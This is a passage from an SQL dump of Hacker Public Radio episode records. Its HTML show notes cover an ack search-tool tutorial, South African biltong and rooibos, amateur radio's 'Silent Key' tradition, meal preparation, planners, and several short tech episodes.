is\nmarked as experimental.</p>\n<h2 id=\"file-types\">File types</h2>\n<p>The <code>ack</code> command has rules for recognising file types. It\ndoes this by looking at the name extensions (<code>\'.html\'</code> or\n<code>\'.py\'</code> for example), and in some cases by examining their\ncontents. The complete list of types can be found by running:</p>\n<pre><code>ack --help-types</code></pre>\n<p>… or, for a more detailed but less readable list:</p>\n<pre><code>ack --dump</code></pre>\n<p>Some examples are:</p>\n<ul>\n<li><code>cc</code> for C files</li>\n<li><code>haskell</code> for Haskell files</li>\n<li><code>lua</code> for Lua files</li>\n<li><code>python</code> for Python files</li>\n<li><code>shell</code> for Bash, and other shell command files</li>\n</ul>\n<p>These names can be used with the options <code>-t TYPE</code> and\n<code>--type=TYPE</code> and also by simply preceding them with two\ndashes (<code>--TYPE</code>). There are also ways of requesting files\nnot of a given type: <code>-T TYPE</code>, <code>--type=noTYPE</code>\nand <code>--noTYPE</code>.</p>\n<p>To check files in the current directory of type <code>shell</code> an\n<code>ack</code> command like the following might be used and the\nfollowing type of output produced:</p>\n<pre><code>$ ack --shell declare\nBash_snippet__using_coproc_with_SQLite/examples/coproc_test.sh\n11:declare -a com=(&#39;date +%F&#39; &#39;whoami&#39; &#39;id&#39; &#39;echo &quot;$BASH_VERSION&quot;&#39;</code></pre>\n<p>Note that <code>ack</code> reports the file path and numbered lines\nwithin it that match.</p>\n<p>You can add your own file types to <code>ack</code>. There is a\nconfiguration file called <code>.ackrc</code> in which new types can be\ndeclared. See below for more information.</p>\n<p>The file type feature is one that makes me use <code>ack</code> again\nand again.</p>\n<h2 id=\"the-.ackrc-file\">The <code>.ackrc</code> file</h2>\n<p>This file contains <em>“command-line options that are prepended to\nthe command line before processing”</em>.</p>\n<p>Its a useful way to add new types (or even modify existing\nones).</p>\n<p>It can be located in a number of places. Mine is\n<code>~/.ackrc</code> with other configuration files in my home\ndirectory.</p>\n<p>Its possible to generate a new <code>.ackrc</code> with the option\n<code>--create-ackrc</code>. This saves all the default settings in the\nfile which makes it simple to adjust anything you need to change.</p>\n<p>As an example of a change, I have Markdown files with the extension\n<code>.mkd</code>. However, by default <code>ack</code> only recognises\n<code>.md</code>, and <code>.markdown</code>. To add <code>.mkd</code>\nto the list I can add one of the following to the\n<code>.ackrc</code>:</p>\n<pre><code># Either add `.mkd` to the list\n--type-add=markdown:ext:mkd\n# or replace the list with a new one\n--type-set=markdown:ext:md,mkd,markdown</code></pre>\n<p>Note that lines beginning with <code>#</code> are comments. Note also\nthat <code>--type-add</code> and <code>--type-set</code> have to be\nfollowed by an <code>=</code> sign, not a space in this file.</p>\n<p>If you examine the settings with <code>ack --dump</code> you will see\nthe default command and the one you have added. If you use\n<code>ack --help-types</code> you will see the new extension added to\nthe default list.</p>\n<pre><code>markdown .md .markdown; .mkd</code></pre>\n<p>If I use this to search files in the directory where I keep my HPR\nepisodes I see:</p>\n<pre><code>$ ack --markdown &#39;inner ear&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd\n24:became fascinated by the structure of the human [inner ear][2], and studied it\n28:The human inner ear performs two major functions:\n.\n.\n.</code></pre>\n<h2 id=\"quick-review-of-selected-ack-options\">Quick review of selected\n<code>ack</code> options</h2>\n<h3 id=\"usage\">Usage</h3>\n<p>The <code>ack</code> command is designed to be similar in as many\nrespects as possible to <code>grep</code>. The command is used in\ngeneral as follows:</p>\n<pre><code>ack [OPTION]... PATTERN [FILES OR DIRECTORIES]</code></pre>\n<p>The <code>[OPTION]</code> part denotes any options (some discussed\nbelow) and <code>PATTERN</code> is the PCRE search pattern. There are\nsome cases where this must be omitted - such as when files of a\nparticular type are being listed. See example 1 below for such a\ncase.</p>\n<p>In some cases a particular file is being searched, or all files in\ncertain directories, and that is what\n<code>[FILES OR DIRECTORIES]</code> denotes.</p>\n<p>The full documentation for <code>ack</code> can be seen with the\nusual <code>man ack</code> command, and also using\n<code>ack --man</code>. There is also an option <code>--help</code>\nwhich gives a summary of all of the available options.</p>\n<h3 id=\"options\">Options</h3>\n<p>There are many options specific to <code>ack</code> and some in\ncommon with <code>grep</code>, and well look at just a few here:</p>\n<ul>\n<li><p><code>-i</code> - like <code>grep</code> this makes the matched\npattern case insensitive.</p></li>\n<li><p><code>-f</code> - Only print the files that would be searched,\nwithout actually doing any searching. See example 1 below.</p></li>\n<li><p><code>-g</code> - Same as -f, but only select files whose names\nmatch PATTERN. This interacts with file type searches like\n<code>--html</code>, so beware.</p></li>\n<li><p><code>-l</code> - reports the file names which contain matches\nfor a given pattern</p></li>\n<li><p><code>-L</code> - reports the file names which <em>do not</em>\ncontain matches for a given pattern</p></li>\n<li><p><code>-c</code> - reports file names and the number of matches;\nused on its own it reports <em>all</em> files, those that match and\nthose that do not. If used with <code>-l</code> then you only see the\nnames of file that have matches, as well as a count of matches. See\nexample 2 below.</p></li>\n<li><p><code>-w</code> - forces the search pattern to match only whole\nwords. See example 3 below. (Note: there is an equivalent in GNU grep,\nwhich I had not checked when I recorded the audio).</p></li>\n</ul>\n<h2 id=\"examples\">Examples</h2>\n<h3 id=\"find-all-markdown-files-in-a-directory\">1. Find all Markdown\nfiles in a directory</h3>\n<p>Using the <code>-f</code> option:</p>\n<pre><code>$ ack --markdown -f Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd</code></pre>\n<p>Using the <code>-g</code> option:</p>\n<pre><code>$ ack -g &#39;&bsol;.mkd$&#39; Nitecore_Tube_torch/\nNitecore_Tube_torch/README.mkd\nNitecore_Tube_torch/container.mkd\nNitecore_Tube_torch/index.mkd\nNitecore_Tube_torch/shownotes.mkd</code></pre>\n<h3 id=\"names-of-files-that-contain-a-match-with-a-match-count\">2. Names\nof files that contain a match, with a match count</h3>\n<p>Using the <code>-l</code> and <code>-c</code> options:</p>\n<pre><code>$ ack --markdown -lci &#39;&bsol;bear&bsol;b&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6</code></pre>\n<p>The sequence <code>\'&bsol;b\'</code> in Perl regular expressions is a\nboundary such as a word boundary. So the pattern is looking for the word\n<code>\'ear\'</code> as opposed to the characters <code>\'ear\'</code> (as\nin <code>\'pearl\'</code> for example).</p>\n<p>Note how the single-letter options <code>-l</code>, <code>-c</code>\nand <code>-i</code> can be concatenated.</p>\n<h3 id=\"searching-for-words-in-a-simpler-way\">3. Searching for words in\na simpler way</h3>\n<p>In example 2 the <code>&bsol;b</code> boundaries ensured the pattern\nmatched words rather than letter sequences. This can be simplified by\nusing the <code>-w</code> option:</p>\n<pre><code>$ ack --markdown -lci -w &#39;ear&#39;\nHacking_my_inner_ear/hpr2109_full_shownotes.mkd:11\nHacking_my_inner_ear/shownotes.mkd:3\nAn_overview_of_the_ack_command/shownotes.mkd:6</code></pre>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>The <code>ack</code> website:\n<ul>\n<li><a href=\"https://beyondgrep.com/\">ack!</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Perl regular expressions:\n<ul>\n<li><a href=\"https://perldoc.perl.org/perlreref.html\">RE reference\nmanual</a></li>\n<li><a href=\"https://perldoc.perl.org/perlretut.html\">RE\ntutorial</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>PCRE: <em>Perl Compatible Regular Expressions</em>:\n<ul>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions\">Wikipedia\narticle on PCRE</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Philip_Hazel\">Wikipedia\narticle on Philip Hazel</a></li>\n</ul></li>\n</ul>\n</article>\n',225,11,1,'CC-BY-SA','search,grep,regular expression,Perl',0,0,1),
(3912,'2023-08-01','Emergency Show: Biltong and Rooibos',233,'Shane brings us a taste of South Africa with some local tea and jerky','<p><a href=\"https://en.wikipedia.org/wiki/Biltong\">Biltong</a><br />\n<small>From Wikipedia, the free encyclopedia</small></p>\n\n<p><b>Biltong</b> is a form of <a href=\"https://en.wikipedia.org/wiki/Drying_(food)\" class=\"mw-redirect\" title=\"Drying (food)\">dried</a>, <a href=\"https://en.wikipedia.org/wiki/Curing_(food_preservation)\" title=\"Curing (food preservation)\">cured</a> <a href=\"https://en.wikipedia.org/wiki/Meat\" title=\"Meat\">meat</a> which originated in <a href=\"https://en.wikipedia.org/wiki/Southern_African\" class=\"mw-redirect\" title=\"Southern African\">Southern African</a> countries (<a href=\"https://en.wikipedia.org/wiki/South_Africa\" title=\"South Africa\">South Africa</a>, <a href=\"https://en.wikipedia.org/wiki/Zimbabwe\" title=\"Zimbabwe\">Zimbabwe</a>, <a href=\"https://en.wikipedia.org/wiki/Malawi\" title=\"Malawi\">Malawi</a>, <a href=\"https://en.wikipedia.org/wiki/Namibia\" title=\"Namibia\">Namibia</a>, <a href=\"https://en.wikipedia.org/wiki/Botswana\" title=\"Botswana\">Botswana</a>, Eswatini and <a href=\"https://en.wikipedia.org/wiki/Zambia\" title=\"Zambia\">Zambia</a>). Various types of meat are used to produce it, ranging from <a href=\"https://en.wikipedia.org/wiki/Beef\" title=\"Beef\">beef</a> to <a href=\"https://en.wikipedia.org/wiki/Game_(food)\" class=\"mw-redirect\" title=\"Game (food)\">game</a> meats such as <a href=\"https://en.wikipedia.org/wiki/Ostrich\" title=\"Ostrich\">ostrich</a> or <a href=\"https://en.wikipedia.org/wiki/Kudu\" title=\"Kudu\">kudu</a>. The cut may also vary being either <a href=\"https://en.wikipedia.org/wiki/Fillet_(cut)\" title=\"Fillet (cut)\">fillets</a> of meat cut into strips following the grain of the muscle, or flat pieces sliced across the grain. It is related to beef <a href=\"https://en.wikipedia.org/wiki/Jerky\" title=\"Jerky\">jerky</a>; both are spiced, dried meats; however the typical ingredients, taste, and production processes may differ.</p><p>The word \"biltong\" is from the <a href=\"https://en.wikipedia.org/wiki/Dutch_(language)\" class=\"mw-redirect\" title=\"Dutch (language)\">Dutch</a> <span title=\"Dutch-language text\"><i lang=\"nl\">bil</i></span> (\"buttock\") and <i><span title=\"Dutch-language text\"><i lang=\"nl\">tong</i></span></i> (\"strip\" or \"tongue\").</a><p><a href=\"https://en.wikipedia.org/wiki/File:Sliced_Biltong.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/220px-Sliced_Biltong.jpg\" decoding=\"async\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/330px-Sliced_Biltong.jpg 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/9/9f/Sliced_Biltong.jpg/440px-Sliced_Biltong.jpg 2x\" data-file-width=\"2421\" data-file-height=\"1715\" width=\"220\" height=\"156\"></a></p>\n\n<hr />\n\n<p><a href=\"https://en.wikipedia.org/wiki/Rooibos\">Rooibos</a><br />\n<small>From Wikipedia, the free encyclopedia</small></p>\n\n<p>\n<b>Rooibos, meaning \"red bush\")</b>, or <i><b>Aspalathus linearis</b></i>, is a\n<a href=\"https://en.wikipedia.org/wiki/Broom_(shrub)\" class=\"mw-redirect\" title=\"Broom (shrub)\">broom\n</a>-like member of the plant family\n<a href=\"https://en.wikipedia.org/wiki/Fabaceae\" title=\"Fabaceae\">Fabaceae\n</a> that grows in\n<a href=\"https://en.wikipedia.org/wiki/South_Africa\" title=\"South Africa\">South Africa\n</a>\'s\n<a href=\"https://en.wikipedia.org/wiki/Fynbos\" title=\"Fynbos\">fynbos\n</a> biome.\n\n</p>\n<p>The leaves are used to make a\n<a href=\"https://en.wikipedia.org/wiki/Herbal_tea\" title=\"Herbal tea\">herbal tea\n</a> that is called\n<b>rooibos\n</b> (especially in Southern Africa),\n<b>bush tea\n</b>,\n<b>red tea\n</b>, or\n<b>redbush tea\n</b> (predominantly in Great Britain).\n\n</p>\n<p>The tea has been popular in\n<a href=\"https://en.wikipedia.org/wiki/Southern_Africa\" title=\"Southern Africa\">Southern Africa\n</a> for generations, and since the 2000s has gained popularity internationally.\nThe tea has an earthy flavour that is similar to\n<a href=\"https://en.wikipedia.org/wiki/Yerba_mate\" title=\"Yerba mate\">yerba mate\n</a> or\n<a href=\"https://en.wikipedia.org/wiki/Tobacco\" title=\"Tobacco\">tobacco\n</a>.\n</p>\n<p>Rooibos was formerly classified as\n<i>\n<a href=\"https://en.wikipedia.org/wiki/Psoralea\" title=\"Psoralea\">Psoralea\n</a>\n</i> but is now thought to be part of\n<i>\n<a href=\"https://en.wikipedia.org/wiki/Aspalathus\" title=\"Aspalathus\">Aspalathus\n</a>\n</i> following\n<a href=\"https://en.wikipedia.org/wiki/Rolf_Dahlgren\" title=\"Rolf Dahlgren\">Dahlgren\n</a> (1980).\nThe\n<a href=\"https://en.wikipedia.org/wiki/Specific_name_(botany)\" class=\"mw-redirect\" title=\"Specific name (botany)\">specific name\n</a> of\n<i>linearis\n</i> was given by\n<a href=\"https://en.wikipedia.org/wiki/Nicolaas_Laurens_Burman\" title=\"Nicolaas Laurens Burman\">Burman\n</a> (1759)\nfor the plant\'s linear growing structure and needle-like leaves.\n\n</p>\n<p>\n<a href=\"https://en.wikipedia.org/wiki/File:Rooibos_geschnitten.jpg\" class=\"mw-file-description\">\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/220px-Rooibos_geschnitten.jpg\" decoding=\"async\" class=\"mw-file-element\" srcset=\"//upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/330px-Rooibos_geschnitten.jpg 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/4/46/Rooibos_geschnitten.jpg/440px-Rooibos_geschnitten.jpg 2x\" data-file-width=\"1920\" data-file-height=\"1280\" width=\"220\" height=\"147\">\n</a>\n</p>\n\n',250,0,0,'CC-BY-SA','South Africa,Biltong,Rooibos,Afrikaans',0,0,1),
(3913,'2023-08-02','Lurking Prion Q and A',316,'Lurking Prion answers questions about his name, former career field as an MM','<p>Add to reserve queue</p>\n<p>Lurking <a href=\"https://en.wikipedia.org/wiki/Prion\">Prion</a> answers questions about his name, former career field as an <a href=\"https://en.wikipedia.org/wiki/Machinist%27s_mate\">Machinist\'s mate</a>, and breaks down a short bio of his security path thus far.</p>\n\n',405,74,1,'CC-BY-SA','bio,backgrown,questions,mm,Machinist\'s mate',0,0,1),
(3914,'2023-08-03','how to deal with blisters',262,'a technique my father taught me, for dealing with blisters','<p>Many years ago, my father taught me how to deal with blisters using a\nneedle and thread.</p>\n',399,0,0,'CC-BY-SA','first aid',0,0,1),
(3915,'2023-08-04','Why the hell is my audio clipping?',802,'MrX has audio that is clipping but will he be able to fix it?','<p>This is an emergency show as we are short of shows. I was going to do\nthis show anyway as I noticed my audio was clipping on the last few\nshows I sent in yet I didn\'t notice it on the files I sent to HPR.</p>\n<p>In this episode I waffle a bit and read out some of the stuff on the\nHPR site about giving shows. During the recording I introduce increasing\namounts of attenuation each decrease in volume signified by a gong. I\nhope this will allow me to stop the clipping from my audio.</p>\n',201,0,1,'CC-BY-SA','audio, podcasting, Audacity',0,0,1),
(3924,'2023-08-17','Mass Quick Tips for August 2023',1549,'operat0r will never get to some of these as full eps so here you go!','<ul>\n<li><p>yakake :<br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3446/index.html\"\nclass=\"uri\">https://hackerpublicradio.org/eps/hpr3446/index.html</a><br />\n<a\nhref=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/Movie2Text.sh\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/Movie2Text.sh</a></p></li>\n<li><p>OLD : <a\nhref=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh</a><br />\n</p></li>\n<li><p><a href=\"https://rmccurdy.com/stuff/NLP/?C=M;O=A\"\nclass=\"uri\">https://rmccurdy.com/stuff/NLP/?C=M;O=A</a></p></li>\n<li><p><a\nhref=\"https://rmccurdy.com/.scripts/downloaded/parentingadhdandautism.com/\"\nclass=\"uri\">https://rmccurdy.com/.scripts/downloaded/parentingadhdandautism.com/</a></p></li>\n<li><p>HighContract Blk Backfround :<br />\n<a\nhref=\"https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey/High%20Contrast%20Chrome\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey/High%20Contrast%20Chrome</a></p></li>\n<li><p>VLC Compress audio quite/LOUD\n<code>load-module module-ladspa-sink sink_name=compressor plugin=sc1_1425 label=sc1 control=5,100,-25,8,2.5,0</code>\n<a\nhref=\"https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit\"\nclass=\"uri\">https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit</a></p></li>\n<li><p>VLC .vlcrc config file and yatse custom commands:<br />\n<a\nhref=\"https://github.com/freeload101/SCRIPTS/tree/789bbf9969ae10975549ee4617a039967573c92b/MISC\"\nclass=\"uri\">https://github.com/freeload101/SCRIPTS/tree/789bbf9969ae10975549ee4617a039967573c92b/MISC</a></p></li>\n<li><p><a\nhref=\"https://kinkeadtech.com/how-to-prevent-fire-tv-stick-from-going-to-sleep/\"\nclass=\"uri\">https://kinkeadtech.com/how-to-prevent-fire-tv-stick-from-going-to-sleep/</a>\n/ ads sleep mode</p></li>\n<li><p>Sponsorblock for Android:<br />\n<a\nhref=\"https://www.youtube.com/watch?v=JKUmM9r63F8&amp;feature=youtu.be\"\nclass=\"uri\">https://www.youtube.com/watch?v=JKUmM9r63F8&amp;feature=youtu.be</a></p></li>\n</ul>\n',36,0,1,'CC-BY-SA','hacking,computers,Android,quick tips',0,0,1),
(3917,'2023-08-08','Response to \"Permission Tickets\" by oneofspoons',408,'Hopefully a useful provocation, in response to a recent intriguing show by another HPR host','<p>A response show to oneofspoons\' <a\nhref=\"https://hackerpublicradio.org/eps/hpr3909/index.html\">hpr3909 ::\nPermission Tickets\"</a>.</p>\n<p>Reference: <a\nhref=\"https://harpersmagazine.substack.com/p/the-writers-strike-or-the-writers#details\">Harper\'s\nPodcast -The Writers&#x2019; Strike, or: the Writers Strike</a></p>\n',399,0,0,'CC-BY-SA','crypto',0,0,1),
(3925,'2023-08-18','Uncommon tools and social media',329,'Daniel Persson talks about some of the tools he uses for video production and social media','<p>Before I used common tools and Windows, I was present on Facebook and\nso on. But I\'ve changed and I don\'t think the difference is that\nlarge.</p>\n',382,0,0,'CC-BY-SA','social media, linux',0,0,1),
(3919,'2023-08-10','How I hacked my voice',959,'Tuula talks about what she\'s doing to change her voice','<p>Resource mentioned in the episode: <a\nhref=\"https://www.youtube.com/@TransVoiceLessons\"\nclass=\"uri\">https://www.youtube.com/@TransVoiceLessons</a></p>\n',364,0,0,'CC-BY-SA','voice, trans',0,0,1),
(3922,'2023-08-15','Silent Key',241,'A brief history of the term \"Silent Key\" as applied to amateur radio','<p>Hacker Public Radio &#x2013; Silent Key HPR3922</p>\n<p>Hello this is Trey, and I am recording this in the shadow of the loss\nof a good friend and mentor who helped guide me in my career and in\nhobbies like electronics, aviation, and amateur radio. The amateur radio\narea is what I will be discussing today.</p>\n<p>Many terms within amateur radio find their origins from the days of\ntelegraph, when operators would use Morse code to send messages across\ngreat distances using wires strung from pole to pole. The telegraph\n&#x201C;key&#x201D; (or code key) was basically a momentary contact switch which would\nclose an electrical connection when pressed. Pressing the key down for a\nshort period of time would send a short pulse down the line, which is\nreferred to as a &#x201C;dit&#x201D; (Sometimes the term &#x201C;dot&#x201D; is used). This may be\nwritten using the period &#x201C;.&#x201D; symbol. Holding the key down for a bit\nlonger would send a longer pulse down the line, called a &#x201C;dash&#x201D;\n(Sometimes the term &#x201C;dah&#x201D; is used) and it may be written using the\nhyphen &#x201C;-&#x201D; symbol.</p>\n<p>Telegraph operators became a close knit community, even though they\nwere geographically separated. Often one operator could identify another\noperator by subtleties in the style or personality of how they sent\ntheir messages. This was known as the operator&#x2019;s &#x201C;fist&#x201D; and today we\nwould describe it as a &#x201C;behavioral biometric&#x201D;. As the community of\ntelegraph operators moved around or were replaced, new &#x201C;fists&#x201D; would be\nidentified, as new personalities of code sending were tapped out on the\ntelegraph keys.</p>\n<p>When an operator passed away, it was a loss to the community, and a\nloss of someone who might have been befriended remotely by other\noperators. The term of respect created for this situation was &#x201C;Silent\nKey&#x201D; sent as the abbreviation &#x201C;SK&#x201D; ( &#x2026; -.- ). It meant that the\nparticular operator would never send code again. His telegraph key would\nbe silent.</p>\n<p>This tradition has been carried on among amateur radio operators or\n&#x201C;Hams&#x201D;. This is also a close knit community of people. While some still\nuse Morse code to communicate (Referred to as &#x201C;CW&#x201D; for continuous wave),\nthere are many other forms in use, including voice and digital modes.\nBut regardless of how we communicated with them, when we lose one of our\nown, we still say they are SK. Silent key. No longer able to\ntransmit.</p>\n<p>Organizations like the American Radio Relay League (ARRL) and QRZ.com\ntry to update their records when a Ham passes away. There are also\ndatabases like silentkeyhq.com which keep records and memories of\ndeceased operators.</p>\n<p>So, it is with great sadness that I have been updating the records\nfor my close friend and mentor KV4YD. Thank you for your friendship and\nsupport, and for sharing your wisdom over the years. You will be\nmissed.</p>\n<p><a\nhref=\"https://www.silentkeyhq.com/main.php?p=bin/NSKALookup.php&amp;call=KF8F&amp;uid=1111688122977783\"\nclass=\"uri\">https://www.silentkeyhq.com/main.php?p=bin/NSKALookup.php&amp;call=KF8F&amp;uid=1111688122977783</a></p>\n<p>(Note: There is intentionally 5 seconds of recorded silence at the\nend of this recording as a moment of silence to remember our silent\nkeys)</p>\n<p>KV4YD 73 VA E E</p>\n',394,43,0,'CC-BY-SA','morse code, cw, amateur radio, telegraph, memorial',0,0,1),
(3923,'2023-08-16','Meal preparation.',2488,'Sgoti chats with Bumble Bee about meal preparation.','<h2 id=\"meal-preparation-with-bumble-bee.\">Meal preparation with Bumble\nBee.</h2>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Meal_preparation\">Meal\npreparation</a><br />\n\n<ul>\n<li>Meal preparation involves preparing meals ahead of time for a short\nor period of time. This practice may occur among people who desire to\nlose weight, gain muscle mass, or maintain a healthy lifestyle. Advance\npreparation can serve to standardize food portions. Meals preparation\nare fully cooked. Meals may be prepared in small containers such as\nTupperware, and are sometimes labeled and dated to remain\norganized.<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Onion\">Onions</a><br />\n\n<ul>\n<li>Freshly cut onions often cause a stinging sensation in the eyes of\npeople nearby, and often uncontrollable tears. This is caused by the\nrelease of a volatile liquid, syn-propanethial-S-oxide and its aerosol,\nwhich stimulates nerves in the eye. This gas is produced by a chain of\nreactions which serve as a defence mechanism: chopping an onion causes\ndamage to cells which releases enzymes called alliinases. These break\ndown amino acid sulfoxides and generate sulfenic acids. A specific\nsulfenic acid, 1-propenesulfenic acid, is rapidly acted on by a second\nenzyme, the lacrimatory factor synthase (LFS), producing the\nsyn-propanethial-S-oxide. This gas diffuses through the air and soon\nreaches the eyes, where it activates sensory neurons. Lacrimal glands\nproduce tears to dilute and flush out the irritant.<br />\n</li>\n<li>Cooking onions and sweet onions are better stored at room\ntemperature, optimally in a single layer, in large mesh bags in a dry,\ncool, dark, well-ventilated location. In this environment, cooking\nonions have a shelf life of three to four weeks and sweet onions one to\ntwo weeks. Cooking onions will absorb odours from apples and pears.\nAlso, they draw moisture from vegetables with which they are stored\nwhich may cause them to decay.<br />\n</li>\n<li>Sweet onions have a greater water and sugar content than cooking\nonions. This makes them sweeter and milder tasting, but reduces their\nshelf life. Sweet onions can be stored refrigerated; they have a shelf\nlife of around 1 month. Irrespective of type, any cut pieces of onion\nare best tightly wrapped, stored away from other produce, and used\nwithin two to three days.<br />\n</li>\n</ul></li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.momswhothink.com/what-are-dump-dinners-and-which-recipes-are-easiest/\">What\nAre Dump Dinners, And Which Recipes Are Easiest?</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.tasteofhome.com/collection/slow-cooker-dump-dinners/\">55\nDump Dinners for Your Slow Cooker</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.pinterest.com/\">Pinterest</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.amazon.com/mug-warmer/s?k=mug+and+warmer\">Mug\nwarmers.</a><br />\n</li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Bumble Bee, Meal Prep',0,0,1),
(3933,'2023-08-30','Planning for a planner.',2852,'Sgoti and Bumble Bee discuss discbound planners, agendas, ink pens and more.','<h2 id=\"discbound-planners-and-notebooks.\">Discbound Planners and\nNotebooks.</h2>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://www.staples.com/discbound+notebook/directory_discbound%2520notebook\">Staples.com\ndiscbound notebook search</a><br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://www.staples.com/Staples-Arc-Customizable-Leather-Notebook-System-Black-6-3-4-x-8-3-4-Each-20000/product_886234\">Staples\nArc Customizable Notebook, 6-3/4\" x 8-3/4\", 60 Sheets, Narrow Ruled,\nBlack</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://thehappyplanner.com/\">Happy Planner.</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://www.joann.com/search/?q=planners&amp;lang=default\">JoAnn</a><br />\n</li>\n</ul>\n<p>Don\'t listen to Bumble Bee, the caps are what you want; get the one\nwith the cap.<br />\nAlso these are the fat boys, they are 1.0 mm, not 0.7mm.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Round-Stic-Xtra-Life-Ballpoint-Pens-Medium-Point-1-0mm-60-Count-Black-Pens/14914643?athbdg=L1102\">BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), 60 Count,\nBlack Pens</a><br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Round-Stic-Xtra-Life-Ballpoint-Pens-Medium-Point-1-0mm-Blue-60-Count/14972251?athbdg=L1102\">BIC\nRound Stic Xtra Life Ballpoint Pens, Medium Point (1.0mm), Blue, 60\nCount</a><br />\n</p>\n<p>These feel so good in the hand but they have high dry times; just not\nworth it.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/uni-ball-Signo-Gel-207-Retractable-Roller-Ball-Pen-Medium-Point-Translucent-Barrel-Black-Ink-12-Pack-33950/193383509\">uni-ball\nSigno Gel 207 Retractable Roller Ball Pen, Medium Point, Translucent\nBarrel, Black Ink, 12-Pack (33950)</a><br />\n</p>\n<p>I use these for drawing lines. Dry times are not bad, but there is a\ndry time.<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/uni-ball-Roller-Ball-Stick-Dye-Based-Pen-Micro-Point-0-5-mm-498774/39250950\">uni-ball\nRoller Ball Stick Dye-Based Pen Micro Point 0.5 mm 498774</a><br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/Uni-Ball-SAN60101-Classic-Rollerball-Pens/15066664?athcpid=15066664&amp;athpgid=AthenaItempage&amp;athcgid=null&amp;athznid=si&amp;athieid=v0_eeMjAuMCw5ODAuMCwwLjAyMjI3OTk4OTAwMjgwOTQ1NCwwLjVf&amp;athstid=CS055&amp;athguid=r3SSXQ4jq9E5eaSeRk1eXSeM7L7VDd4--1ZS&amp;athancid=39250950&amp;athposb=0&amp;athena=true\">Uni-Ball,\nSAN60101, Classic Rollerball Pens</a><br />\n</p>\n<p>Color pack, because why not!<br />\n- <strong>Source:</strong> <a\nhref=\"https://www.walmart.com/ip/BIC-Cristal-Xtra-Bold-Ball-Point-Pens-Bold-Point-1-6mm-Assorted-Colors-24-Count/27932641?athbdg=L1103\">BIC\nCristal Xtra Bold Ball Point Pens, Bold Point (1.6mm), Assorted Colors,\n24-Count</a><br />\n</p>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Discbound, Notebooks, Planners, Happy Planner, Ink Pens.',0,0,1),
(3935,'2023-09-01','Server build retrospective',586,'Daniel Persson goes through his experience of building his first server','<p>I have a lot of smaller PC\'s running as servers at home but now I\nfinally bought my first server chassis to install a real server in my\nrack. I ran into a lot of complications and that\'s covered in this\nepisode.</p>\n',382,0,0,'CC-BY-SA','server, hardware, rack',0,0,1),
(3945,'2023-09-15','My chrome plugins',271,'Daniel Persson summarize the essential plugins he uses every day','<p>We all use plugins in order to facilitate our work this is my\nfavorite picks.</p>\n',382,0,0,'CC-BY-SA','chrome, plugins',0,0,1),
(3955,'2023-09-29','airgradient measurement station',356,'Daniel Persson talks about a hardware measurement station he\'s installed','<p>AirGradient is an open-source solution to measure the air in your\nliving area. In my case, I need to keep track of the air in my office,\nso I have a healthy working environment.</p>\n',382,0,0,'CC-BY-SA','airgradient, measurement, air quality',0,0,1),
